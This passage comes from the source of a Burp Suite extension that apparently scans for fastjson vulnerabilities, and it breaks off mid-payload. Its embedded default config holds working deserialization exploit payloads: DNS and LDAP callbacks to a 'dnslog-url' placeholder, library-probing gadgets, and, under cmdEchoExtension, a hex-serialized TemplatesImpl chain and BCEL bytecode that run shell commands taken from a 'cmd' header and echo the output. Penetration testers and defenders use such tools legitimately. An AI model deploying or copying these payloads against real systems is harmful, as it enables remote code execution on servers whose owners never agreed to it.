504 | scan(invocation.getSelectedMessages()[0],mode);
505 | } catch (Exception ex) {
506 | // 在Burp的报警窗口显示错误
507 | callbacks.issueAlert("Scan failed: " + ex.getMessage());
508 | callbacks.printError("Scan error: " + ex.toString());
509 | }
510 | });
511 | }
512 | }
513 | }
514 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/YamlReader.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import java.io.*;
4 | import java.nio.charset.StandardCharsets;
5 | import java.nio.file.Files;
6 | import java.nio.file.Path;
7 | import java.nio.file.Paths;
8 | import java.util.*;
9 |
10 | import org.yaml.snakeyaml.Yaml;
11 |
12 | import burp.IBurpExtenderCallbacks;
13 |
14 | public class YamlReader {
15 | private static YamlReader instance;
16 | private static Map> properties = new HashMap<>();
17 | private static Path configPath = null;
18 | private static long lastModified; // 记录文件最后修改时间
19 | private static final String CONFIG_CONTENTS = "# 插件启动项\n" +
20 | "isStart: true\n" +
21 | "# 绕过waf模块,默认关闭\n" +
22 | "isStartBypass: false\n" +
23 | "\n" +
24 | "# 扫描配置\n" +
25 | "scan:\n" +
26 | " # 问题数量\n" +
27 | " # 表示可以接收同一个站点多少个问题个数\n" +
28 | " # 超过次数以后就不在对该站点进行扫描了\n" +
29 | " # 0 表示无限次接收\n" +
30 | " issueNumber: 0\n" +
31 | " # 站点扫描次数\n" +
32 | " # 超过次数以后就不在对该站点进行扫描了\n" +
33 | " # 0 表示无限次扫描\n" +
34 | " siteScanNumber: 0\n" +
35 | " # 域名扫描规则\n" +
36 | " domainName:\n" +
37 | " # 域名黑名单\n" +
38 | " # 注: 黑名单优先级最高\n" +
39 | " # 注: 为空表示关闭该功能\n" +
40 | " # 使用规则:\n" +
41 | " # 1. 过滤某个域名: www.domain1.com\n" +
42 | " # 2. 过滤某个域名的全部子域名: *.domain2.com\n" +
43 | " # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com\n" +
44 | " # 使用方法:\n" +
45 | " # blacklist:\n" +
46 | " # - \"www.domain1.com\"\n" +
47 | " # - \"*.domain2.com\"\n" +
48 | " blacklist:\n" +
49 | " - \"*.dnslog.cn\"\n" +
50 | " - \"*.ceye.io\"\n" +
51 | " - \"*.fofa.so\"\n" +
52 | " - \"*.shodan.io\"\n" +
53 | " - \"*.eyes.sh\"\n" +
54 | " - \"*.github.com\"\n" +
55 | " - \"*.apple.com\"\n" +
56 | " - \"*.bilibili.com\"\n" +
57 | " - \"*.dingtalk.com\"\n" +
58 | " - \"*.amap.com\"\n" +
59 | " - \"*.taobao.com\"\n" +
60 | " - \"*.umeng.com\"\n" +
61 | " # 域名白名单\n" +
62 | " # 注: 黑名单优先级最高\n" +
63 | " # 注: 为空表示关闭该功能\n" +
64 | " # 使用规则:\n" +
65 | " # 1. 只扫描某个域名: www.domain1.com\n" +
66 | " # 2. 只扫描某个域名的全部子域名: *.domain2.com\n" +
67 | " # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com\n" +
68 | " # 使用方法:\n" +
69 | " # whitelist:\n" +
70 | " # - \"www.domain1.com\"\n" +
71 | " # - \"*.domain2.com\"\n" +
72 | " whitelist:\n" +
73 | "\n" +
74 | "# url黑名单后缀\n" +
75 | "# url的后缀出现这些字段的都不进行测试\n" +
76 | "urlBlackListSuffix:\n" +
77 | " config:\n" +
78 | " isStart: true\n" +
79 | " suffixList:\n" +
80 | " - \"3g2\"\n" +
81 | " - \"3gp\"\n" +
82 | " - \"7z\"\n" +
83 | " - \"aac\"\n" +
84 | " - \"abw\"\n" +
85 | " - \"aif\"\n" +
86 | " - \"aifc\"\n" +
87 | " - \"aiff\"\n" +
88 | " - \"arc\"\n" +
89 | " - \"au\"\n" +
90 | " - \"avi\"\n" +
91 | " - \"azw\"\n" +
92 | " - \"bin\"\n" +
93 | " - \"bmp\"\n" +
94 | " - \"bz\"\n" +
95 | " - \"bz2\"\n" +
96 | " - \"cmx\"\n" +
97 | " - \"cod\"\n" +
98 | " - \"csh\"\n" +
99 | " - \"css\"\n" +
100 | " - \"csv\"\n" +
101 | " - \"doc\"\n" +
102 | " - \"docx\"\n" +
103 | " - \"eot\"\n" +
104 | " - \"epub\"\n" +
105 | " - \"gif\"\n" +
106 | " - \"gz\"\n" +
107 | " - \"ico\"\n" +
108 | " - \"ics\"\n" +
109 | " - \"ief\"\n" +
110 | " - \"jar\"\n" +
111 | " - \"jfif\"\n" +
112 | " - \"jpe\"\n" +
113 | " - \"jpeg\"\n" +
114 | " - \"jpg\"\n" +
115 | " - \"m3u\"\n" +
116 | " - \"mid\"\n" +
117 | " - \"midi\"\n" +
118 | " - \"mjs\"\n" +
119 | " - \"mp2\"\n" +
120 | " - \"mp3\"\n" +
121 | " - \"mpa\"\n" +
122 | " - \"mpe\"\n" +
123 | " - \"mpeg\"\n" +
124 | " - \"mpg\"\n" +
125 | " - \"mpkg\"\n" +
126 | " - \"mpp\"\n" +
127 | " - \"mpv2\"\n" +
128 | " - \"odp\"\n" +
129 | " - \"ods\"\n" +
130 | " - \"odt\"\n" +
131 | " - \"oga\"\n" +
132 | " - \"ogv\"\n" +
133 | " - \"ogx\"\n" +
134 | " - \"otf\"\n" +
135 | " - \"pbm\"\n" +
136 | " - \"pdf\"\n" +
137 | " - \"pgm\"\n" +
138 | " - \"png\"\n" +
139 | " - \"pnm\"\n" +
140 | " - \"ppm\"\n" +
141 | " - \"ppt\"\n" +
142 | " - \"pptx\"\n" +
143 | " - \"ra\"\n" +
144 | " - \"ram\"\n" +
145 | " - \"rar\"\n" +
146 | " - \"ras\"\n" +
147 | " - \"rgb\"\n" +
148 | " - \"rmi\"\n" +
149 | " - \"rtf\"\n" +
150 | " - \"snd\"\n" +
151 | " - \"svg\"\n" +
152 | " - \"swf\"\n" +
153 | " - \"tar\"\n" +
154 | " - \"tif\"\n" +
155 | " - \"tiff\"\n" +
156 | " - \"ttf\"\n" +
157 | " - \"vsd\"\n" +
158 | " - \"wav\"\n" +
159 | " - \"weba\"\n" +
160 | " - \"webm\"\n" +
161 | " - \"webp\"\n" +
162 | " - \"woff\"\n" +
163 | " - \"woff2\"\n" +
164 | " - \"xbm\"\n" +
165 | " - \"xls\"\n" +
166 | " - \"xlsx\"\n" +
167 | " - \"xpm\"\n" +
168 | " - \"xul\"\n" +
169 | " - \"xwd\"\n" +
170 | " - \"zip\"\n" +
171 | " - \"js\"\n" +
172 | " - \"wmv\"\n" +
173 | " - \"asf\"\n" +
174 | " - \"asx\"\n" +
175 | " - \"rm\"\n" +
176 | " - \"rmvb\"\n" +
177 | " - \"mp4\"\n" +
178 | " - \"mov\"\n" +
179 | " - \"m4v\"\n" +
180 | " - \"dat\"\n" +
181 | " - \"mkv\"\n" +
182 | " - \"flv\"\n" +
183 | " - \"vob\"\n" +
184 | " - \"txt\"\n" +
185 | " - \"php\"\n" +
186 | " - \"asp\"\n" +
187 | "\n" +
188 | "# 应用程序配置\n" +
189 | "application:\n" +
190 | " lowPerceptionScan:\n" +
191 | " config:\n" +
192 | " # 插件启动项\n" +
193 | " isStart: true\n" +
194 | " # 提供商\n" +
195 | " provider: \"versionDetect\"\n" +
196 | " dnslogPayloads:\n" +
197 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" +
198 | " - \"{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog-url\\\"}\"\n" +
199 | " - \"{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog-url\\\"}:\\\"x\\\"}\"\n" +
200 | " - \"{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}\"\n" +
201 | " detectVersionExtension:\n" +
202 | " config:\n" +
203 | " # 插件启动项\n" +
204 | " isStart: true\n" +
205 | " # 提供商\n" +
206 | " provider: \"versionDetect\"\n" +
207 | " regexPayloads:\n" +
208 | " # 分号左侧匹配为正则匹配式,匹配响应包中的fastjson-version x.xx.xx 版本号\n" +
209 | " # payload=右侧填入对应payload\n" +
210 | " - \"(?i)fastjson-version[\\\\s:=]+(\\\\d+\\\\.\\\\d+\\\\.\\\\d+); payload={\\\"@type\\\":\\\"java.lang.AutoCloseable\\\"\"\n" +
211 | " dnslogPayloads:\n" +
212 | " # 自行根据payload进行版本调整\n" +
213 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" +
214 | " # 添加payload时记得注意格式\n" +
215 | " # 分号左侧可随意填写版本号,用于在插件中显示。payload=右侧填入对应payload\n" +
216 | " - \"autoType open; payload=[{\\\"@type\\\":\\\"java.net.CookiePolicy\\\"},{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog-url\\\"}]\"\n" +
217 | " - \"version<=1.2.24; payload={\\\"name\\\":\\\"admin\\\",\\\"email\\\":\\\"admin\\\",\\\"content\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url/POC\\\",\\\"autoCommit\\\":true}}\"\n" +
218 | "# - \"version<=1.2.47; payload={\\\"username\\\":{\\\"@type\\\": \\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}}[{\\\"@type\\\": \\\"java.lang.Class\\\",\\\"val\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}]\"\n" +
219 | " - \"version<=1.2.47; payload=[{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}]\"\n" +
220 | " - \"version<1.2.49; payload={\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}\"\n" +
221 | " - \"version<=1.2.68; payload=[{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}]\"\n" +
222 | " - \"version<=1.2.80; payload=[{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"x\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}},{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"message\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}}]\"\n" +
223 | " detectLibraryExtension:\n" +
224 | " config:\n" +
225 | " # 插件启动项\n" +
226 | " isStart: true\n" +
227 | " # 提供商\n" +
228 | " provider: \"libraryDetect\"\n" +
229 | " libraryPayloads: \"{\\\"x\\\":{\\\"@type\\\":\\\"java.lang.Character\\\"{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"libraries\\\"}}\"\n" +
230 | " libraries:\n" +
231 | " - \"org.springframework.web.bind.annotation.RequestMapping\" #SpringBoot\n" +
232 | " - \"org.apache.catalina.startup.Tomcat\" #Tomcat\n" +
233 | " - \"groovy.lang.GroovyShell\" #Groovy - 1.2.80\n" +
234 | " - \"com.mchange.v2.c3p0.DataSources\" #C3P0\n" +
235 | " - \"com.mysql.jdbc.Buffer\" #mysql-jdbc-5\n" +
236 | " - \"com.mysql.cj.api.authentication.AuthenticationProvider\" #mysql-connect-6\n" +
237 | " - \"com.mysql.cj.protocol.AuthenticationProvider\" #mysql-connect-8\n" +
238 | " - \"sun.nio.cs.GBK\" #JDK8\n" +
239 | " - \"java.net.http.HttpClient\" #JDK11\n" +
240 | " - \"org.apache.ibatis.type.Alias\" #Mybatis\n" +
241 | " - \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\" #tomcat-dbcp-7-BCEL\n" +
242 | " - \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\" #tomcat-dbcp-8及以后-BCEL\n" +
243 | " - \"org.apache.commons.io.Charsets\" # 存在commons-io,但不确定版本\n" +
244 | " - \"org.apache.commons.io.file.Counters\" #commons-io-2.7-2.8\n" +
245 | " - \"org.aspectj.ajde.Ajde\" #aspectjtools\n" +
246 | " # 命令回显扩展\n" +
247 | " cmdEchoExtension:\n" +
248 | " config:\n" +
249 | " isStart: true\n" +
250 | " # 提供商\n" +
251 | " provider: \"CmdEchoScan\"\n" +
252 | " # 命令输入点字段名称\n" +
253 | " # 发送命令回显的Header字段名称\n" +
254 | " # 注意: 设置以后,所有的poc都要记得支持这个字段进行命令输入\n" +
255 | " commandInputPointField: \"cmd\"\n" +
256 | " payloads:\n" +
257 | " - \"{\\\"e\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\"},\\\"f\\\":{\\\"@type\\\":\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\",\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e0020000787000001439cafebabe00000032013d0100506f72672f6170616368652f736869726f2f636f796f74652f7365722f7374642f537472696e6753657269616c697a65726462633635336235323930613434383961666465316364663338316531396234070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700030100063c696e69743e0100032829560100136a6176612f6c616e672f457863657074696f6e0700070c000500060a0004000901000372756e0c000b00060a0002000c0100106765745265714865616465724e616d6501001428294c6a6176612f6c616e672f537472696e673b010003636d6408001001001e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0700120100136a6176612f6c616e672f5468726f7761626c650700140100106a6176612f6c616e672f54687265616407001601000a6765745468726561647308001801000f6a6176612f6c616e672f436c61737307001a0100125b4c6a6176612f6c616e672f436c6173733b07001c0100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0c001e001f0a001b00200100186a6176612f6c616e672f7265666c6563742f4d6574686f6407002201000d73657441636365737369626c65010004285a29560c002400250a002300260100106a6176612f6c616e672f4f626a656374070028010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0c002a002b0a0023002c0100135b4c6a6176612f6c616e672f5468726561643b07002e0100076765744e616d650c0030000f0a00170031010004687474700800330100106a6176612f6c616e672f537472696e67070035010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0c003700380a003600390100084163636570746f7208003b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0c003d003e0a0029003f0100067461726765740800410100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0c004300440a001b00450100176a6176612f6c616e672f7265666c6563742f4669656c640700470a00480026010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0c004a004b0a0048004c010008656e64706f696e7408004e01000674686973243008005001000768616e646c657208005201000d6765745375706572636c6173730c0054003e0a001b0055010006676c6f62616c08005701000e676574436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0c0059005a0a001b005b0100226f72672e6170616368652e636f796f74652e5265717565737447726f7570496e666f08005d0100156a6176612f6c616e672f436c6173734c6f6164657207005f0100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0c006100620a006000630a001b003101000a70726f636573736f72730800660100136a6176612f7574696c2f41727261794c69737407006801000473697a650100032829490c006a006b0a0069006c0100152849294c6a6176612f6c616e672f4f626a6563743b0c004a006e0a0069006f0100037265710800710100076765744e6f74650800730100116a6176612f6c616e672f496e7465676572070075010004545950450100114c6a6176612f6c616e672f436c6173733b0c00770078090076007901000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b0c007b007c0a0076007d01000967657448656164657208007f0100096765744d6574686f640c0081001f0a001b00820c000e000f0a0002008401000b676574526573706f6e736508008601000967657457726974657208008801000e6a6176612f696f2f57726974657207008a01000668616e646c65010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0c008c008d0a0002008e0100057772697465010015284c6a6176612f6c616e672f537472696e673b29560c009000910a008b0092010005666c7573680c009400060a008b0095010005636c6f73650c009700060a008b0098010004657865630100076f732e6e616d6508009b0100106a6176612f6c616e672f53797374656d07009d01000b67657450726f70657274790c009f008d0a009e00a001000b746f4c6f776572436173650c00a2000f0a003600a301000377696e0800a50100072f62696e2f73680800a70100022d630800a9010007636d642e6578650800ab0100022f630800ad0100116a6176612f6c616e672f52756e74696d650700af01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c00b100b20a00b000b3010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c009a00b50a00b000b60100116a6176612f6c616e672f50726f636573730700b801000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0c00ba00bb0a00b900bc0100116a6176612f7574696c2f5363616e6e65720700be010018284c6a6176612f696f2f496e70757453747265616d3b29560c000500c00a00bf00c10100025c610800c301000c75736544656c696d69746572010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f7574696c2f5363616e6e65723b0c00c500c60a00bf00c70100000800c90100076861734e65787401000328295a0c00cb00cc0a00bf00cd0100176a6176612f6c616e672f537472696e674275696c6465720700cf0a00d00009010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0c00d200d30a00d000d40100046e6578740c00d6000f0a00bf00d7010008746f537472696e670c00d9000f0a00d000da01000a6765744d6573736167650c00dc000f0a000800dd0100135b4c6a6176612f6c616e672f537472696e673b0700df0100136a6176612f696f2f496e70757453747265616d0700e101000665794a6558410800e301000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a0c00e500e60a003600e70100066c656e6774680c00e9006b0a003600ea010006636861724174010004284929430c00ec00ed0a003600ee0100152843294c6a6176612f6c616e672f537472696e673b0c007b00f00a003600f10100087061727365496e74010015284c6a6176612f6c616e672f537472696e673b29490c00f300f40a007600f50100012e0800f7010007696e6465784f660c00f900f40a003600fa010009737562737472696e67010016284949294c6a6176612f6c616e672f537472696e673b0c00fc00fd0a003600fe01000c6261736536344465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420c010001010a0002010201000178010006285b42295b420c010401050a00020106010005285b4229560c000501080a003601090100062f396a2f344108010b0c009a008d0a0002010d010008676574427974657301000428295b420c010f01100a0036011101000c626173653634456e636f6465010016285b42294c6a6176612f6c616e672f537472696e673b0c011301140a000201150100052f396b3d3d08011701001673756e2e6d6973632e4241534536344465636f646572080119010007666f724e616d650c011b00620a001b011c01000c6465636f646542756666657208011e01000b6e6577496e7374616e636501001428294c6a6176612f6c616e672f4f626a6563743b0c012001210a001b01220100025b420701240100106a6176612e7574696c2e42617365363408012601000a6765744465636f6465720801280100066465636f646508012a01000a676574456e636f64657208012c0100135b4c6a6176612f6c616e672f4f626a6563743b07012e01000e656e636f6465546f537472696e6708013001001673756e2e6d6973632e424153453634456e636f646572080132010006656e636f646508013401000f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f0801360100083c636c696e69743e0a00020009010004436f646501000a457863657074696f6e7301000d537461636b4d61705461626c650021000200040000000000090001000500060002013a0000001500010001000000092ab7000a2ab7000db100000000013b00000004000100080002000e000f0001013a0000000f00010001000000031211b0000000000002000b00060001013a000003290006000b000002461217121903bd001bc0001db600214c2b04b600272b0103bd0029b6002dc0002fc0002fc0002f4d033e1d2cbea202152c1d32b600321234b6003a9902012c1d32b60032123cb6003a9901f32c1d32b600401242b600463a04190404b6004919042c1d32b6004d3a051905b60040124fb600463a04a700113a061905b600401251b600463a04190404b6004919041905b6004d3a051905b600401253b600463a04a7002b3a061905b60040b600561253b600463a04a700173a071905b60040b60056b600561253b600463a04190404b6004919041905b6004d3a051905b600401258b600463a04a700143a061905b60040b600561258b600463a04190404b6004919041905b6004d3a051905b60040b6005c125eb60064571905b60040b60065125eb6003a9901171905b600401267b600463a04190404b6004919041905b6004dc000693a0603360715071906b6006da200ec19061507b60070b600401272b600463a04190404b60049190419061507b60070b6004db60040127404bd001b5903b2007a53b60021190419061507b60070b6004d04bd0029590304b8007e53b6002d3a05190419061507b60070b6004db60040128004bd001b5903123653b60083190419061507b60070b6004d04bd002959032ab7008553b6002dc000363a081908c6004f1905b60040128703bd001bb60021190503bd0029b6002d3a091909b60040128903bd001bb60083190903bd0029b6002dc0008b3a0a190a1908b8008fb60093190ab60096190ab60099a7000ea700053a09840701a7ff10840301a7fdeba700044cb100060068007400770013009400a000a3001300a500b400b7001300da00e600e9001301a3022d0233000800000241024400150001013c000000a10010fe002907002307002f01ff004d000607000207002307002f0107004807002900010700130d5d070013ff0013000707000207002307002f010700480700290700130001070013fa00135d07001310fd004d07006901fc00e7070036ff0002000807000207002307002f0107004807002907006901000107000801ff0005000407000207002307002f01000005ff000200010700020001070015fc0000070029000a009a008d0001013a000000e30004000700000093043c129cb800a14d2cc600112cb600a412a6b6003a990005033c1b99001806bd0036590312a853590412aa5359052a53a7001506bd0036590312ac53590412ae5359052a534eb800b42db600b7b600bd3a04bb00bf591904b700c212c4b600c83a0512ca3a061905b600ce99001fbb00d059b700d11906b600d51905b600d8b600d5b600db3a06a7ffdf1906b04c2bb600deb000010000008c008d00080001013c000000360006fd001a0107003618510700e0ff00200007070036010700360700e00700e20700bf070036000023ff000200010700360001070008000a008c008d0002013a000000b8000600060000008f12e44c014d2a2bb600e89900802a2bb600ebb600efb800f2b800f63e03360403360515051da2001b15042a2bb600eb0460150560b600ef603604840501a7ffe5bb0036592a2bb600eb04601d601504602a12f8b600fbb600ffb80103b80107b7010a4dbb00d059b700d113010cb600d52cb8010eb60112b80107b80116b600d5130118b600d5b600dbb02ab8010eb000000001013c000000170003ff002200060700360700360501010100001df80049013b0000000400010008000a010001010002013a0000008f000600040000006f13011ab8011d4c2b13011f04bd001b5903123653b600832bb6012304bd002959032a53b6002dc00125c00125b04c130127b8011d4d2c13012903bd001bb600830103bd0029b6002d4e2db6004013012b04bd001b5903123653b600832d04bd002959032a53b6002dc00125c00125b000010000002c002d00080001013c0000000600016d070008013b00000004000100080009011301140002013a000000af000600050000007a014c130127b8011d4d2c13012d01c0001db600832c01c0012fb6002d4e2db6004013013104bd001b590313012553b600832d04bd002959032a53b6002dc000364ca700374e130133b8011d4d2cb601233a041904b6004013013504bd001b590313012553b60083190404bd002959032a53b6002dc000364c2bb0000100020041004400080001013c0000001b0002ff004400020701250700360001070008fd003307001b070029013b00000004000100080009010401050001013a00000049000600040000002a130137b601124c2abebc084d033e1d2abea200172c1d2a1d332b1d2bbe7033829154840301a7ffe92cb000000001013c0000000d0002fe000e07012507012501190008013800060001013a0000002e000200010000000dbb000259b7013957a700044bb1000100000008000b00080001013c0000000700024b0700080000007074002461313463653830632d343431302d343633332d623961632d30613762356365313238653870770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d65737361676571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787070707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd223902000078700000000070787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e00137870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a6578700000000177040000000171007e00077878;\\\"}}\"\n" +
258 | " - \"{{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"x\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B